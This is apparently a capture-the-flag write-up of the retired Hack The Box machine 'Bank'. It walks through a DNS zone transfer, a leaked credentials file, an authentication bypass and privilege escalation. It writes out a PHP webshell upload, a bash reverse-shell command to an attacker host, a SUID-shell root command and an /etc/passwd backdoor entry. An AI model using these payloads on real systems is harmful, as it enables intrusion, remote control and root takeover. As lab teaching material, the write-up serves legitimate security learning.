~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / bank.md

bank

Linux · Easy · released 2017-06-16 · retired 2020-07-04

Summary

Bank is a clean Linux Easy built around three under-appreciated techniques that each recur in the wild: DNS zone transfer leaks vhost names, misconfigured Apache file-type mappings execute arbitrary code, and a non-standard SUID binary trivially drops to root. The second privesc path — a world-writable /etc/passwd — teaches the same lesson from a different angle.

The kill-chain is: dig axfr on the open port 53 reveals bank.htb; the vhost hosts a PHP banking app with a /balance-transfer/ directory of ~1000 encrypted account files; one file failed to encrypt and exposes plaintext credentials; a developer debug comment in the upload form’s source reveals that the .htb extension is mapped to PHP by Apache; a .htb webshell upload lands a shell as www-data; and a find -perm -4000 sweep exposes /var/htb/bin/emergency — a SUID root binary placed off the standard path and easy to miss without a thorough search.

The alternate (unintended) foothold is a classic 302-without-exit PHP anti-pattern: protected pages emit header("Location: ...") then return; instead of exit;, so the full page body is present in the 302 response. Response manipulation in Burp renders the protected app without any credentials.

Recon

nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
22/tcp  open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
53/tcp  open  domain   ISC BIND 9.9.5-3ubuntu0.14
80/tcp  open  http     Apache httpd 2.4.7 (Ubuntu)

Port 53 open on a web box is always the first hint to attempt a zone transfer — DNS is almost never intentionally exposed on an HTB machine without a reason. The Apache version on Ubuntu 14.04 is EOL and era- appropriate for 2017. Port 80 serves only a default Apache page unless the correct Host: header is sent.

DNS — zone transfer

dig axfr bank.htb @<TARGET>
; <<>> DiG 9.18.x <<>> axfr bank.htb @<TARGET>
;; ANSWER SECTION:
bank.htb.       604800  IN  SOA  bank.htb. ...
bank.htb.       604800  IN  NS   ns.bank.htb.
bank.htb.       604800  IN  A    <TARGET>
chris.bank.htb. 604800  IN  CNAME bank.htb.
ns.bank.htb.    604800  IN  A    <TARGET>
www.bank.htb.   604800  IN  CNAME bank.htb.

The zone transfer (AXFR) succeeds without authentication — the DNS server allows full zone dumps to any querying host. Add bank.htb (and optionally www.bank.htb) to /etc/hosts. Visiting http://bank.htb/ now shows the banking app login page instead of the default Apache welcome.

Web enumeration

Gobuster on the resolved vhost:

gobuster dir -u http://bank.htb/ \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php -t 50

Key findings:

Path Status Notes
/login.php 200 Login form
/support.php 302 Redirects to login
/uploads/ 301 Upload destination
/inc/ 301 Directory listing enabled
/balance-transfer/ 301 Directory listing, ~999 .acc files

The /balance-transfer/ listing is the immediate priority: it contains approximately 999 encrypted account data files, all 581–585 bytes. One file is conspicuously smaller at 257 bytes — sorting by file size in the browser or via curl exposes it instantly:

curl -s http://bank.htb/balance-transfer/ \
    | grep -oP '(?<=href=")[^"]+\.acc' \
    | xargs -I{} bash -c \
      'size=$(curl -sI http://bank.htb/balance-transfer/{} | grep -i content-length | awk "{print \$2}"); echo "$size {}"' \
    | sort -n | head

The outlier file content:

--ERR ENCRYPT FAILED
+=================+
Username: [email protected]
Password: <REDACTED>
+=================+

The encryption step failed silently; the plaintext fell through. Log in at http://bank.htb/login.php using the full email address ([email protected], not just chris).

Foothold — .htb extension mapped to PHP (debug comment)

After login, /support.php presents a ticket system with a file-upload field. Uploading cmd.php directly returns “invalid file type.” The source of the page contains a developer comment:

<!-- [DEBUG] I added the file extension .htb to execute as php
     for debugging purposes only [DEBUG] -->

Apache’s configuration for this vhost maps .htb to the PHP handler. Upload a PHP webshell with a .htb extension:

POST /support.php HTTP/1.1
Host: bank.htb
Cookie: PHPSESSID=...
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="fileupload"; filename="cmd.htb"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------X--

The shell lands at /uploads/cmd.htb:

# confirm execution
curl "http://bank.htb/uploads/cmd.htb?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

# upgrade to a reverse shell
curl "http://bank.htb/uploads/cmd.htb" \
    --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1"'

Alternate foothold — 302 without exit: Protected pages in the app (/support.php, account pages) redirect unauthenticated requests with header("Location: login.php"); return; — using return instead of exit. The full page body is therefore included in the 302 response body. In Burp Repeater, intercepting any 302 and changing the status line to 200 OK renders the protected page in full, bypassing authentication entirely without needing the [email protected] credential.

User flag

The foothold lands as www-data. The user flag at /home/chris/user.txt is world-readable; no lateral pivot is required.

Privilege escalation

Path A — non-standard SUID binary (intended):

A thorough SUID sweep:

find / -perm -4000 -type f 2>/dev/null

Returns the standard set plus one anomaly:

/var/htb/bin/emergency

This binary lives outside the conventional SUID locations (/usr/bin/, /bin/) and is easy to miss on a cursory check. It is a hardlink to /bin/dash with the SUID root bit set. Running it directly:

/var/htb/bin/emergency
# id → uid=0(root) gid=0(root) groups=0(root)

The SUID bit causes the kernel to execute the process with the file owner’s effective UID (root), so the spawned dash shell inherits root context.

Dash’s -c mode preserves the elevated euid, so the chain can run straight from the webshell without needing a reverse shell:

curl "http://bank.htb/uploads/cmd.htb" \
    --data-urlencode 'cmd=/var/htb/bin/emergency -c "id; cat /root/root.txt"' -G
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
<root flag>

Note euid=0 while uid=33: dash on -c does not drop privileges (unlike bash without -p), so the SUID-promoted euid persists into the command argument.

Path B — world-writable /etc/passwd:

ls -la /etc/passwd
# -rw-rw-rw- 1 root root 1526 Jun  2  2017 /etc/passwd

/etc/passwd has write permission for all users (world-writable, mode 0666). Append a new entry with a known password and UID 0:

openssl passwd -1 pwned
# output: $1$...<hash>...

echo 'r00t:$1$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su - r00t
# password: pwned
# uid=0(root)

The /etc/passwd file is consulted before /etc/shadow for users whose password field is non-empty; a valid crypt hash in column 2 is honoured on Ubuntu 14.04 (PAM pam_unix still supports this for compatibility).

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗